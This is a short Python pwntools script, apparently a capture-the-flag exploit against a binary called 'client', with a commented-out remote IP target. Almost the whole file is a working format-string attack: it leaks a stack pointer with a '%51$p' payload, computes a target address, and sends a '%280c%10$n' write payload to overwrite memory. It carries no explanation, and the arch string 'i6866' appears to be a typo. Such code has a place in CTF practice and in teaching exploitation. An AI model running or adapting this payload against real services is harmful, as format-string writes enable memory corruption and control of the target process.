import pwn

port = 1840
p = pwn.process("./client")
# p = pwn.remote("212.64.2.70", str(port))
# pwn.context(arch="i6866", os="linux", log_level="debug")
input()
p.sendline(str(118))
a = p.recvlines(numlines=12)
for x in a:
	print(x)

p.sendline("%51$p")
p.recvline()
s = p.recvline()
ptr = int(s[2:], 16) - 240
print("%x" % ptr)
s = "%280c%10$ncccccc" + pwn.p64(ptr+1)
p.sendline(s)
p.recvlines(numlines=3)
print(p.recvline())
 
